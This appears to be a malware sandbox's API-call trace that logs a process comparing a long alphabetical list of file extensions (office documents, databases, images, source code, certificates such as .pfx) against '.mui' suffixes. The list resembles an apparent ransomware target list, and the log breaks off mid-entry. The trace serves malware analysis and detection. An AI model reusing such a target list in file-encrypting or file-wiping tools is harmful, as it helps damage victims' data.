[0091.334] lstrlenW (lpString=".3gp") returned 4 [0091.334] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0091.334] lstrlenW (lpString=".7z") returned 3 [0091.334] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0091.334] lstrlenW (lpString=".accda") returned 6 [0091.334] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0091.334] lstrlenW (lpString=".accdb") returned 6 [0091.334] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0091.334] lstrlenW (lpString=".accdc") returned 6 [0091.334] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0091.334] lstrlenW (lpString=".accde") returned 6 [0091.334] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0091.334] lstrlenW (lpString=".accdt") returned 6 [0091.334] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0091.334] lstrlenW (lpString=".accdw") returned 6 [0091.334] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0091.334] lstrlenW (lpString=".adb") returned 4 [0091.334] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0091.334] lstrlenW (lpString=".adp") returned 4 [0091.334] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".ai") returned 3 [0091.335] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0091.335] lstrlenW (lpString=".ai3") returned 4 [0091.335] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".ai4") returned 4 [0091.335] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".ai5") returned 4 [0091.335] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".ai6") returned 4 [0091.335] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".ai7") returned 4 [0091.335] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".ai8") returned 4 [0091.335] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".anim") returned 5 [0091.335] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0091.335] lstrlenW (lpString=".arw") returned 4 [0091.335] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".as") returned 3 [0091.335] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0091.335] lstrlenW (lpString=".asa") returned 4 [0091.335] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".asc") returned 4 [0091.335] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".ascx") returned 5 [0091.335] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0091.335] lstrlenW (lpString=".asm") returned 4 [0091.335] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0091.335] lstrlenW (lpString=".asmx") returned 5 [0091.335] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0091.335] lstrlenW (lpString=".asp") returned 4 [0091.335] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".aspx") returned 5 [0091.336] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0091.336] lstrlenW (lpString=".asr") returned 4 [0091.336] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".asx") returned 4 [0091.336] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".avi") returned 4 [0091.336] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".avs") returned 4 [0091.336] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".backup") returned 7 [0091.336] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0091.336] lstrlenW (lpString=".bak") returned 4 [0091.336] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".bay") returned 4 [0091.336] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".bd") returned 3 [0091.336] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0091.336] lstrlenW (lpString=".bin") returned 4 [0091.336] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".bmp") returned 4 [0091.336] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".bz2") returned 4 [0091.336] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".c") returned 2 [0091.336] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0091.336] lstrlenW (lpString=".cdr") returned 4 [0091.336] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".cer") returned 4 [0091.336] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0091.336] lstrlenW (lpString=".cf") returned 3 [0091.336] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0091.337] lstrlenW (lpString=".cfc") returned 4 [0091.337] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".cfm") returned 4 [0091.337] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".cfml") returned 5 [0091.337] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0091.337] lstrlenW (lpString=".cfu") returned 4 [0091.337] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".chm") returned 4 [0091.337] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".cin") returned 4 [0091.337] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".class") returned 6 [0091.337] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0091.337] lstrlenW (lpString=".clx") returned 4 [0091.337] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".config") returned 7 [0091.337] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0091.337] lstrlenW (lpString=".cpp") returned 4 [0091.337] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".cr2") returned 4 [0091.337] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".crt") returned 4 [0091.337] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".crw") returned 4 [0091.337] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".cs") returned 3 [0091.337] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0091.337] lstrlenW (lpString=".css") returned 4 [0091.337] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".csv") returned 4 [0091.337] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0091.337] lstrlenW (lpString=".cub") returned 4 [0091.338] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".dae") returned 4 [0091.338] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".dat") returned 4 [0091.338] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".db") returned 3 [0091.338] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0091.338] lstrlenW (lpString=".dbf") returned 4 [0091.338] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".dbx") returned 4 [0091.338] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".dc3") returned 4 [0091.338] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".dcm") returned 4 [0091.338] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".dcr") returned 4 [0091.338] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".der") returned 4 [0091.338] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".dib") returned 4 [0091.338] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".dic") returned 4 [0091.338] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".dif") returned 4 [0091.338] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".divx") returned 5 [0091.338] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0091.338] lstrlenW (lpString=".djvu") returned 5 [0091.338] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0091.338] lstrlenW (lpString=".dng") returned 4 [0091.338] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0091.338] lstrlenW (lpString=".doc") returned 4 [0091.338] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0091.339] lstrlenW (lpString=".docm") returned 5 [0091.339] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0091.339] lstrlenW (lpString=".docx") returned 5 [0091.339] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0091.339] lstrlenW (lpString=".dot") returned 4 [0091.339] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0091.339] lstrlenW (lpString=".dotm") returned 5 [0091.339] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0091.339] lstrlenW (lpString=".dotx") returned 5 [0091.339] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0091.339] lstrlenW (lpString=".dpx") returned 4 [0091.339] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0091.339] lstrlenW (lpString=".dqy") returned 4 [0091.339] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0091.339] lstrlenW (lpString=".dsn") returned 4 [0091.339] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0091.339] lstrlenW (lpString=".dt") returned 3 [0091.339] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0091.339] lstrlenW (lpString=".dtd") returned 4 [0091.339] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0091.339] lstrlenW (lpString=".dwg") returned 4 [0091.339] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0091.339] lstrlenW (lpString=".dwt") returned 4 [0091.339] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0091.339] lstrlenW (lpString=".dx") returned 3 [0091.339] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0091.339] lstrlenW (lpString=".dxf") returned 4 [0091.339] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0091.339] lstrlenW (lpString=".edml") returned 5 [0091.339] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0091.339] lstrlenW (lpString=".efd") returned 4 [0091.339] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".elf") returned 4 [0091.340] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".emf") returned 4 [0091.340] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".emz") returned 4 [0091.340] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".epf") returned 4 [0091.340] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".eps") returned 4 [0091.340] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".epsf") returned 5 [0091.340] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0091.340] lstrlenW (lpString=".epsp") returned 5 [0091.340] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0091.340] lstrlenW (lpString=".erf") returned 4 [0091.340] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".exr") returned 4 [0091.340] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".f4v") returned 4 [0091.340] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".fido") returned 5 [0091.340] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0091.340] lstrlenW (lpString=".flm") returned 4 [0091.340] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".flv") returned 4 [0091.340] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".frm") returned 4 [0091.340] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".fxg") returned 4 [0091.340] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0091.340] lstrlenW (lpString=".geo") returned 4 [0091.341] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".gif") returned 4 [0091.341] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".grs") returned 4 [0091.341] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".gz") returned 3 [0091.341] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0091.341] lstrlenW (lpString=".h") returned 2 [0091.341] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0091.341] lstrlenW (lpString=".hdr") returned 4 [0091.341] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".hpp") returned 4 [0091.341] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".hta") returned 4 [0091.341] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".htc") returned 4 [0091.341] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".htm") returned 4 [0091.341] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".html") returned 5 [0091.341] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0091.341] lstrlenW (lpString=".icb") returned 4 [0091.341] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".ics") returned 4 [0091.341] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".iff") returned 4 [0091.341] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".inc") returned 4 [0091.341] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0091.341] lstrlenW (lpString=".indd") returned 5 [0091.341] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0091.341] lstrlenW (lpString=".ini") returned 4 [0091.342] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".iqy") returned 4 [0091.342] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".j2c") returned 4 [0091.342] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".j2k") returned 4 [0091.342] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".java") returned 5 [0091.342] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0091.342] lstrlenW (lpString=".jp2") returned 4 [0091.342] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".jpc") returned 4 [0091.342] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".jpe") returned 4 [0091.342] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".jpeg") returned 5 [0091.342] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0091.342] lstrlenW (lpString=".jpf") returned 4 [0091.342] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".jpg") returned 4 [0091.342] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".jpx") returned 4 [0091.342] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".js") returned 3 [0091.342] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0091.342] lstrlenW (lpString=".jsf") returned 4 [0091.342] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0091.342] lstrlenW (lpString=".json") returned 5 [0091.342] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0091.342] lstrlenW (lpString=".jsp") returned 4 [0091.342] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".kdc") returned 4 [0091.343] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".kmz") returned 4 [0091.343] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".kwm") returned 4 [0091.343] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".lasso") returned 6 [0091.343] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0091.343] lstrlenW (lpString=".lbi") returned 4 [0091.343] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".lgf") returned 4 [0091.343] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".lgp") returned 4 [0091.343] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".log") returned 4 [0091.343] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".m1v") returned 4 [0091.343] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".m4a") returned 4 [0091.343] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".m4v") returned 4 [0091.343] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".max") returned 4 [0091.343] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".md") returned 3 [0091.343] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0091.343] lstrlenW (lpString=".mda") returned 4 [0091.343] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0091.343] lstrlenW (lpString=".mdb") returned 4 [0091.343] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mde") returned 4 [0091.344] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mdf") returned 4 [0091.344] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mdw") returned 4 [0091.344] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mef") returned 4 [0091.344] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mft") returned 4 [0091.344] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mfw") returned 4 [0091.344] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mht") returned 4 [0091.344] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mhtml") returned 6 [0091.344] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0091.344] lstrlenW (lpString=".mka") returned 4 [0091.344] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mkidx") returned 6 [0091.344] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0091.344] lstrlenW (lpString=".mkv") returned 4 [0091.344] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mos") returned 4 [0091.344] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mov") returned 4 [0091.344] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mp3") returned 4 [0091.344] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0091.344] lstrlenW (lpString=".mp4") returned 4 [0091.344] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0091.345] lstrlenW (lpString=".mpeg") returned 5 [0091.345] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0091.345] lstrlenW (lpString=".mpg") returned 4 [0091.345] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0091.345] lstrlenW (lpString=".mpv") returned 4 [0091.345] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0091.345] lstrlenW (lpString=".mrw") returned 4 [0091.345] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0091.345] lstrlenW (lpString=".msg") returned 4 [0091.345] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0091.345] lstrlenW (lpString=".mxl") returned 4 [0091.345] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".myd") returned 4 [0091.345] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".myi") returned 4 [0091.345] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".nef") returned 4 [0091.345] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".nrw") returned 4 [0091.345] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".obj") returned 4 [0091.345] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".odb") returned 4 [0091.345] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".odc") returned 4 [0091.345] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".odm") returned 4 [0091.345] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".odp") returned 4 [0091.345] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".ods") returned 4 [0091.345] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0091.345] lstrlenW (lpString=".oft") returned 4 [0091.346] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".one") returned 4 [0091.346] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".onepkg") returned 7 [0091.346] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0091.346] lstrlenW (lpString=".onetoc2") returned 8 [0091.346] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0091.346] lstrlenW (lpString=".opt") returned 4 [0091.346] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".oqy") returned 4 [0091.346] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".orf") returned 4 [0091.346] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".p12") returned 4 [0091.346] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".p7b") returned 4 [0091.346] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".p7c") returned 4 [0091.346] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".pam") returned 4 [0091.346] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".pbm") returned 4 [0091.346] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".pct") returned 4 [0091.346] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".pcx") returned 4 [0091.346] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".pdd") returned 4 [0091.346] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0091.346] lstrlenW (lpString=".pdf") returned 4 [0091.346] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".pdp") returned 4 [0091.347] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".pef") returned 4 [0091.347] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".pem") returned 4 [0091.347] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".pff") returned 4 [0091.347] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".pfm") returned 4 [0091.347] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".pfx") returned 4 [0091.347] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".pgm") returned 4 [0091.347] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".php") returned 4 [0091.347] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".php3") returned 5 [0091.347] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0091.347] lstrlenW (lpString=".php4") returned 5 [0091.347] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0091.347] lstrlenW (lpString=".php5") returned 5 [0091.347] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0091.347] lstrlenW (lpString=".phtml") returned 6 [0091.347] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0091.347] lstrlenW (lpString=".pict") returned 5 [0091.347] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0091.347] lstrlenW (lpString=".pl") returned 3 [0091.347] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0091.347] lstrlenW (lpString=".pls") returned 4 [0091.347] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0091.347] lstrlenW (lpString=".pm") returned 3 [0091.347] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0091.348] lstrlenW (lpString=".png") returned 4 [0091.348] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0091.348] lstrlenW (lpString=".pnm") returned 4 [0091.348] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0091.348] lstrlenW (lpString=".pot") returned 4 [0091.348] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0091.348] lstrlenW (lpString=".potm") returned 5 [0091.348] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0091.348] lstrlenW (lpString=".potx") returned 5 [0091.348] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0091.348] lstrlenW (lpString=".ppa") returned 4 [0091.348] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0091.348] lstrlenW (lpString=".ppam") returned 5 [0091.348] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0091.348] lstrlenW (lpString=".ppm") returned 4 [0091.348] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0091.348] lstrlenW (lpString=".pps") returned 4 [0091.348] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0091.348] lstrlenW (lpString=".ppsm") returned 5 [0091.348] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0091.348] lstrlenW (lpString=".ppt") returned 4 [0091.348] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0091.348] lstrlenW (lpString=".pptm") returned 5 [0091.348] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0091.348] lstrlenW (lpString=".pptx") returned 5 [0091.348] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0091.348] lstrlenW (lpString=".prn") returned 4 [0091.348] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0091.348] lstrlenW (lpString=".ps") returned 3 [0091.348] lstrcmpiW 